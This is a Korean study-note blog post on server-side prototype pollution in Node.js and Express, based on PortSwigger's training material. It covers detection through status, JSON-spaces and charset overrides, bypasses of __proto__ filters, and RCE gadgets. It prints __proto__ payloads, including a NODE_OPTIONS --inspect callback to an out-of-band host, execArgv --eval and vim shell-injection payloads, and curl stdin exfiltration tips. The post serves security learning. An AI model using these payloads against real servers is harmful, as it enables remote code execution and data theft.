본문 바로가기

Web hacking

Server-side prototype pollution

지난번까지는 Client-side prototype pollution에 대해 학습을 진행했었다. 이번에는 Server-side prototype pollution에 대해 학습해 보도록 한다. 

 

먼저, 해당 포스팅은 아래 포트스위거의 web-security를 기반으로 진행된다.

https://portswigger.net/web-security/prototype-pollution/server-side

 

JavaScript는 원래 브라우저에서 실행되도록 설계된 클라이언트 측 언어였지만, Node.js 와 같은 서버 측 런타임의 출현으로 인해 이제 JavScript는 서버,API 및 기타 백엔드 애플리케이션을 구축하는데 널리 사용된다. 논리적으로 이는 프로토타입 오염 취약성이 서버 측 컨텍스트에서 발생될 수도 있음을 의미한다. 

 

서버 측 프로토타입 오염(pollution)의 블랙박스 감지를 위한 다양한 기술을 익히기 전 Client 단의 prototype pollution 보다 Server 단의 Prototype pollution을 감지하기 더 어려운 이유에 대해 말하고자 한다. 

 

1. 클라이언트 측과 달리 일반적으로 취약한 JavaScript에 액세스할 수가 없다. 이는 어떤 싱크가 존재하는지에 대한 개요를 얻거나 잠재적인 가젯 속성을 찾아내는 쉬운 방법이 없음을 의미한다. 

2. 개발자 도구부족인데, JavaScript가 원격 시스템에서 실행 중이므로 브라우저의 DevTools를 사용해 DOM을 검사할 때처럼 런타임에 개체를 검사할 수 없다. ( 단, 화이트 박스 해킹이라면 예외 )

3. DoS 가 유발될 수 있는 문제가 존재한다. 실제 속성을 사용하여 서버 측 환경에서 개체를 성공적으로 오염 시키는 경우 종종 애플리케이션 기능이 중단되거나 서버가 완전히 중단된다. 

4. 오염 지속성의 문제가 존재한다. 브라우저에서 테스트 할 때는 페이지를 새로 고치는 것만으로도 다시 reload 될 수 있다. 하지만 서버 측 프로토타입을 오염시키면 이 변경 사항은 노드 프로세스의 전체 수명동안 지속되며 재설정할 수 있는 방법이 없다. 

 

Detecting server-side prototype pollution via polluted property reflection 

 

 

개발자들이 망각하는 것은 프로토타입 체인을 통해 객체에 대한 속성이 열거된다는 것이다. 그 예는 아래와 같다. 

 

const myObject = {a:1,b:2};

Object.prototype.foo='bar';

myObject.hasOwnProperty('foo');
false

for(const propertyKey in myObject){
    console.log(propertyKey);
}

a
b
foo

 

위의 경우 처럼 애플리케이션이 나중에 응답에 반환된 속성을 포함하는 경우 서버 측 프로토타입 오염을 조사하는 간단한 방법을 제공할 수 있다. POST 또는 PUT 메서드를 통해 JSON 데이터를 애플리케이션이나 API에 제출하는 요청은 서버가 새 개체 또는 업데이트된 개체의 JSON 표현으로 응답하는 것이 일반적이므로 이러한 종류의 동작에 대한 주요 후보이다. 이 경우 아래와 같이 임의 속성으로 전역 변수를 오염시키려고 시도할 수 있다. 

 

POST /user/update HTTP/1.1
Host: vulnerable-website.com
...
{
    "user":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "__proto__":{
        "foo":"bar"
    }
}

HTTP/1.1 200 OK
...
{
    "username":"wiener",
    "firstName":"Peter",
    "lastName":"Wiener",
    "foo":"bar"
}

 

위와 같은 경우는 드문 경우이지만, 웹 사이트에서 이러한 속성을 사용하여 HTML 동적으로 생성하여 삽입된 속성이 브라우저에 렌더링 될 수도 있다. 위와 같이 서브 측 프로토 타입 오염이 가능하다는 것을 확인한 후에는 악용에 사용할 잠재적인 gadget을 찾을 수 있다. 

 

Detecting server-side prototype pollution without polluted property reflection

 

대부분의 경우 서버 측 프로토타입 객체를 성공적으로 오염시킨 경우에도 영향을 받은 속성이 응답에 반영되는 것을 볼 수 없다. 콘솔에서 객체를 검사할 수 없다는 점을 고려하면 주입이 작동했는지 확인하려고 할 때 문제가 발생한다. 한 가지 접근 방식은 서버의 잠재적 구성 옵션과 일치하는 속성을 주입하는 것이다. 그런 후 주입 전후의 서버 동작을 비교하여 이 구성 변경 사항이 적용된 것으로 나타나는지 확인할 수 있다. 그렇다면 이는 서버 측 프로토타입 오염 취약점을 성공적으로 발견했다는 강력한 의미이다. 

 

아래 기술을 살펴보도록 한다. 

 

▶ Status code override ( 상태 코드 재정의 )

▶ JSON spaces override ( JSON 공백 재정의 )

▶ Charset override ( 문자셋 재정의 )

 

( 위의 주입은 모두 비 파괴적이지만, 성공할 경우 서버 동작에 일관되고 뚜렷한 변화를 가져온다. )

 

Status code override

 

Express와 같은 서버 측 JavaScript 프레임워크를 사용하면 개발자가 사용자 정의 HTTP 응답 상태를 설정할 수 있다. 오류가 발생한 경우 JavaScript 서버는 일반 HTTP 응답을 보내지만 본문에 JSON 형식의 오류 개체를 포함할 수 있다. 이는 기본 HTTP 상태에서는 명확하지 않을 수 있는 오류가 발생하는 이유에 대한 추가 세부 정보를 제공하는 한 가지 방법이다.

 

다소, 이상할 수 있지만 200 OK 응답을 받았음에도 불구하고, 응답 본문에만 다른 상태의 오류 객체가 포함되는 경우도 꽤 흔하다. ( 아래 예시 참조 )

 

HTTP/1.1 200 OK
...
{
    "error": {
        "success": false,
        "status": 401,
        "message": "You do not have permission to access this resource."
    }
}

 

노드의 http-erros 모듈에는 아래와 같은 오류 응답을 생성하기 위한 함수가 포함되어 있다. 

 

function createError () {
    //...
    if (type === 'object' && arg instanceof Error) {
        err = arg
        status = err.status || err.statusCode || status
    } else if (type === 'number' && i === 0) {
    //...
    if (typeof status !== 'number' ||
    (!statuses.message[status] && (status > 400 || status >= 600))) {
        status = 500
    }
    //...

 

 status = err.status || err.statusCode || status  

 

위의 코드는 함수에 전달된 객체에서 status 또는 statusCode 속성을 읽어 상태 변수를 할당하려고 시도한다. 웹 사이트 개발자가 오류에 대한 상태 속성을 명시적으로 설정하지 않은 경우 다음과 같이 프로토타입 오염을 조사하는데 사용할 수 있다.

 

1. 오류 응답을 트리거 하는 방법을 찾고, 기본 상태 코드를 메모해 둔다. 

2. 자신의 status 속성(property)로 prototype pollution을 시도해 본다. ( 다른 이유로 발생될 가능성이 낮은 모호한 상태코드로 prototype pollution을 시도 )

3. 오류 응답을 다시 트리거 하고, 상태코드를 성공적으로 재정의했는지 확인한다. 

 

주요한 점은 400-599 범위의 유효한 상태 코드를 선택해야 한다. 그렇지 않으면, status가 500 상태로 기본 설정되어 지므로 프로토타입 오염을 성공했는지 여부를 알 수 없다. ( 참고: https://developer.mozilla.org/en-US/docs/Web/HTTP/Status )

 

JSON spaces override

 

Express 프레임워크는 응답에서 JSON 데이터를 들여 쓰는 데 사용되는 공백의 수를 구성할 수 있는 json spaces 옵션을 제공한다. 많은 경우 개발자는 기본 값에 만족하여 이 속성을 정의하지 않은 채로 두기 때문에 프로토타입 체인을 통해 오염되기 쉽다. 모든 종류의 JSON 응답에 액세스 할 수 있는 경우 자체 json spaces 속성을 사용하여 프로토타입을 오염시킨 다음 관련 요청을 다시 발행하여 JSON의 들여 쓰기가 그에 따라 증가하는지 확인할 수 있다. 동일한 단계를 수행하여 들여 쓰기를 제거하여 취약점을 확인할 수 있다. 

 

이 방법은 반영되는 특정 속성(property)에 의존하지 않기 때문에 특히 유용한 기술이다. 또한 property를 기본 값과 동일한 값으로 재설정하는 것만으로 오염을 효과적으로 resetting 할 수 있어 매우 안전한 방법이다. 

 

Express 4.17.4에서 Prototype pollution이 수정되었지만 업그레이드 하지 않은 웹 사이트는 여전히 취약할 수 있다. 

 

주요한 점은 Burp에서 해당 기법을 시도할 때, message editor의 Raw tab으로 전환해야 한다는 점이다. 그렇지 않으면 기본 미리 보기가 들여 쓰기를 정규화하기 때문에 들여 쓰기 변경 사항을 볼 수 없다. 

 

( 예시 )

 

일반적인 json 응답의 raw

 

json spaces 속성을 오염

 

 

 

Charset override

 

Express 서버는 종종 요청이 적절한 핸들러 함수에 전달되기 전에 요청을 사전 처리할 수 있는 미들웨어 모듈을 구현한다. 예를 들어 body-parser 모듈은 일반적으로 들어오는 요청의 본문을 구문 분석하여 req.body 객체를 생성하는 데 사용된다. 여기에는 서버 측 프로토타입 오염을 조사하는 데 사용할 수 있는 또 다른 가젯이 포함되어 있다.

 

아래 코드는 파싱을 위해 요청 본문을 읽는데 사용되는 read() 함수에 옵션 객체를 전달한다. 이러한 옵션 중 하나인 인코딩은 사용할 문자 인코딩을 결정한다. 이 인코딩은 getCharset(req) 함수 호출을 통해 요청 자체에서 파생되거나 기본 값이 UTF-8로 설정된다. 

 

var charset = getCharset(req) or 'utf-8'

function getCharset (req) {
    try {
        return (contentType.parse(req).parameters.charset || '').toLowerCase()
    } catch (e) {
        return undefined
    }
}

read(req, res, next, parse, debug, {
    encoding: charset,
    inflate: inflate,
    limit: limit,
    verify: verify
})

 

getCharset() 함수를 자세히 살펴보면 개발자가 Content-Type 헤더에 명시적인 문자셋 속성이 포함되지 않을 수 있음을 예상하고 이 경우 빈 문자열로 되돌아가는 로직을 구현한 것으로 보인다. 결정적으로 이는 프로토타입 오염을 통해 제어할 수 있다는 것을 의미한다. 

 

응답에서 property가 표시되는 객체를 찾을 수 있다면 이를 사용하여 소스를 조사할 수 있다. 다음 예제에서는 UTF-7 인코딩과 JSON 소스를 사용하겠다. 

 

1. 응답에 반영되는 속성에 임의의 UTF-7로 인코딩 된 문자열을 추가한다. 예를 들어, UTF-7의 foo는 +AGYAbwBv-이다. 

{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"+AGYAbwBv-"
}

 

2. 요청을 보낸다. 서버는 기본적으로 UTF-7 인코딩을 사용하지 않으므로 이 문자열은 인코딩된 형태로 응답에 표시되어야 한다. 

3. UTF-7 문자 집합을 명시적으로 지정하는 Content-Type Property 로 Prototype pollution을 시도해 보자. 

{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"default",
    "__proto__":{
        "content-type": "application/json; charset=utf-7"
    }
}

 

4. 위 1번에서 한 요청을 다시 반복한다. prototype pollution에 성공했다면, 이제 응답에서 UTF-7 문자열이 디코딩되어야 한다. 

{
    "sessionId":"0123456789",
    "username":"wiener",
    "role":"foo"
}

 

Node의 _http_incoming 모듈의 버그로 인해 요청의 실제 Content-Type 헤더에 자체 문자셋 속성이 포함된 경우에도 이 기능이 작동한다. 요청에 중복 헤더가 포함된 경우 속성을 덮어쓰는 것을 방지하기 위해 _addHeaderLine() 함수는 속성을 IncommingMessage 객체로 전송하기 전에 동일한 키를 가진 속성이 이미 존재하지 않는지 확인한다. 

 

IncomingMessage.prototype._addHeaderLine = _addHeaderLine;
function _addHeaderLine(field, value, dest) {
    // ...
    } else if (dest[field] === undefined) {
        // Drop duplicates
        dest[field] = value;
    }
}

 

이 경우 처리 중인 헤더가 효과적으로 삭제된다. 이것이 구현되는 방식 때문에 이 검사에는 (아마도 의도치 않게) 프로토타입 체인을 통해 상속된 프로퍼티가 포함된다. 즉, 자체 Content-Type property로 Prototype pollution을 성공시키면 요청의 실제 Content-Type 헤더를 나타내는 속성이 헤더에서 파생된 의도된 값과 함께 이 시점에서 삭제된다. 

 

Bypassing input filters for server-side prototype pollution

 

웹 사이트는 종종 __proto__와 같은 의심스러운 키를 필터링 하여, Prototype pollution 취약성을 방지하거나 패치하려고 시도한다. 이러한 키 살균 접근 방식은 잠재적으로 우회할 수 있는 여러 가지 방법이 있기에 근본적인 해결책은 아니다. 예를 들어 공격자는 아래와 같은 시도를 할 수 있다. 

 

1. __proto__ 대신 생성자 속성을 통해 Prototype 에 액세스 한다. 

2. __pro__proto__to__ 와 같이 금지된 키워드를 난독화하여 우회를 진행한다. 

 

Node application은 아래와 같은 명령 줄 플래그들을 사용할 수 있다. 

--disable-proto=delete or --disable-proto=throw

 

__proto__를 삭제하거나, 완전히 비활성화 할 수 있다. 그러나 constructor 기법을 사용해 이를 우회할 수 있다. 

 

Remote code execution via server-side prototype pollution

 

클라이언트 측 prototype pollution은 일반적으로 웹 사이트를 DOM XSS에 노출시키지만, 서버 측 prototype pollution은 잠재적으로 RCE(원격 코드 실행)를 초래할 수 있다. 아래에서 이런 가능성이 있는 사례를 식별하는 방법과 노드 애플리케이션에서 몇 가지 잠재적인 벡터를 악용하는 방법을 알아본다. 

 

Identifying a vulnerable request

 

Node에는 여러 가지 잠재적인 명령 실행 싱크가 있으며, 그 중 상당수는 child_process 모듈에서 발생한다. 이러한 싱크는 종종 prototype pollution 시킬 수 있는 요청과 비동기적으로 발생하는 요청에 의해 호출된다. 따라서 이러한 요청을 식별하는 가장 좋은 방법은 호출 시 Burp Collaborator와의 상호 작용을 트리거하는 페이로드로 prototype pollution 하는 것이다. ( Burp Collaborator는 유료 버전이다. )

 

Node_OPTIONS 환경 변수를 사용하면 새 노드 프로세스를 시작할 때마다 기본적으로 사용해야 하는 명령줄 인수의 문자열을 정의할 수 있다. 이 변수는 환경 객체의 property이기도 하므로, 정의되지 않은 경우 prototype pollution을 통해 이를 제어할 수 있다. 

 

새 자식 프로세스를 생성하는 Node의 일부 함수는 개발자가 명령을 실행할 특정 셸(ex. bash)을 설정할 수 있는 선택적 셸 속성을 허용한다. 이를 악의적인 NODE_OPTIONS property와 결합하면 새 노드 프로세스가 생성될 때마다 Burp Collaborator와 상호작용을 일으키는 방식으로 Prototype pollution을 진행할 수 있다. 

 

"__proto__": {
    "shell":"node",
    "NODE_OPTIONS":"--inspect=YOUR-COLLABORATOR-ID.oastify.com\"\".oastify\"\".com"
}

 

이렇게 하면 요청이 prototype pollution을 통해 제어 가능한 명령줄 인수를 사용하여 새 하위 프로세스를 생성하는 시점을 쉽게 식별할 수 있다. 

 

주요한 점은 호스트 이름에 이스케이프된 큰따옴표가 반드시 필요한 것은 아니다. 하지만 호스트 명을 난독화하여 호스트명을 스크래핑하는 WAF 및 기타 시스템을 회피함으로써 오탐을 줄이는 데 도움이 될 수 있다. 

 

 

Remote code execution via child_process.fork()

 

child_process.spawn() 및 child_process.fork()와 같은 메서드를 사용하면 개발자가 새로운 노드 하위 프로세스를 만들 수 있다. fork() 메서드는 잠재적 옵션 중 하나가 execArgv 속성인 옵션 객체를 받는다. 이것은 자식 프로세스를 생성할 때, 사용해야 하는 명령줄 인수가 포함된 문자열 배열이다. 개발자가 정의하지 않은 상태로 두면 prototype pollution을 통해 제어할 수 있다. 

 

이 가젯을 사용하면 명령줄 인수를 직접 제어할 수 있으므로, NODE_OPTIONS를 사용하면 불가능한 일부 공격 벡터에 접근할 수 있다. 특히 흥미로운 것은 자식 프로세스에서 실행될 임의의 자바스크립트를 전달할 수 있는 --eval 인자이다. 이는 매우 강력할 수 있으며 심지어 환경에 추가 모듈을 로드할 수도 있다. 

"execArgv": [
    "--eval=require('<module>')"
]

 

fork() 외에도 child_process 모듈에는 임의의 문자열을 시스템 명령으로 실행하는 execSync() 메서드가 포함되어 있다. 이러한 javascript와 명령 인젝션 싱크를 연결하면 잠재적으로 프로토타입 오염을 에스컬레이션 하여 서버에서 전체 RCE를 기능을 확보할 수 있다. 

 

 

Remote code execution via child_process.execSync()

 

이전 예제에서는 --eval 명령줄 인수를 통해 child_process.execSync() 싱크를 직접 주입했다. 경우에 따라 애플리케이션이 시스템 명령을 실행하기 위해 이 메서드를 자체적으로 호출할 수도 있다. 

 

fork() 와 마찬가지로, execSync() 메서드는 프로토타입 체인을 통해 오염될 수 있는 옵션 객체도 받아들인다. 이 메서드는 execArgv 프로퍼티를 허용하지 않지만, 셸과 입력 프로퍼티를 동시에 오염시켜 실행 중인 자식 프로세스에 시스템 명령을 주입할 수 있다. 

 

입력 옵션은 하위 프로세스의 stdin 스트림으로 전달되어 execSync()에 의해 시스템 명령으로 실행되는 문자열일 뿐이다. 단순히 함수에 인수로 전달하는 등 명령을 제공하는 다른 옵션이 있으므로 입력 속성 자체는 정의되지 않은 상태로 둘 수 있다. 

 

셸 옵션을 사용하면 개발자는 명령이 실행 될 특정 셸을 선언할 수 있다. 기본적으로 execSync()는 시스템의 기본 셸을 사용하여 명령을 실행하므로 이 옵션도 정의되지 않은 상태로 둘 수 있다. 

 

이 두가지 속성을 모두 오염시키면 애플리케이션 개발자가 실행하려고 했던 명령을 재정의하고 대신 사용자가 선택한 셸에서 악성 명령을 실행할 수 있다. 여기에는 몇 가지 주의 사항이 있는데, 셸 옵션은 셸의 실행 파일 이름만 허용하며 추가 명령줄 인수를 설정할 수 없다. 셸은 항상 -c 인수를 사용하여 실행되며, 대부분의 셸에서는 명령을 문자열로 전달할 수 있도록 하는 데 사용된다. 그러나 Node에서 -c 플래그를 대신 설정하면 제공된 스크립트에 대한 구문 검사가 실행되어 실행되지 않는다. 따라서 이에 대한 해결방법이 있긴 하지만 일반적으로 Node 자체를 공격의 셸로 사용하는 것은 까다롭다. 

페이로드가 포함된 입력 속성이 stdin을 통해 전달되므로, 선택한 셸은 stdin에서 명령을 수락해야 한다. 

 

실제로 셸을 의도한 것은 아니지만 텍스트 편집기 Vim과 ex는 이러한 모든 기준을 충족한다. 이 중 하나라도 서버에 설치되어 있다면 RCE의 잠재적 벡터가 된다. 

 

"shell":"vim",
"input":":! <command>\n"

 

주요한 점은 Vim에는 대화형 프롬프트가 있으며 사용자가 제공된 명령을 실행하기 위해 Enter 키를 누를 것으로 예상한다. 따라서 위의 예와 같이 페이로드 끝에 개행(\n)문자를 포함하여 이를 시행한다. 

 

하지만 이 기법의 또 다른 한계는 익스플로잇에 사용할 수 있는 일부 도구가 기본적으로 stdin에서 데이터를 읽지 않는다는 점이다. 하지만 이 문제를 해결할 수 있는 몇가지 방법이 있다. 

curl의 경우 -d , @- 인수를 사용하여 stdin을 읽고 내용을 POST 요청의 본문으로 보낼 수 있다. 

 

다른 경우에는 명령에 전달할 수 있는 인수의 목록으로 stdin을 변환하는 xargs를 사용할 수 있다.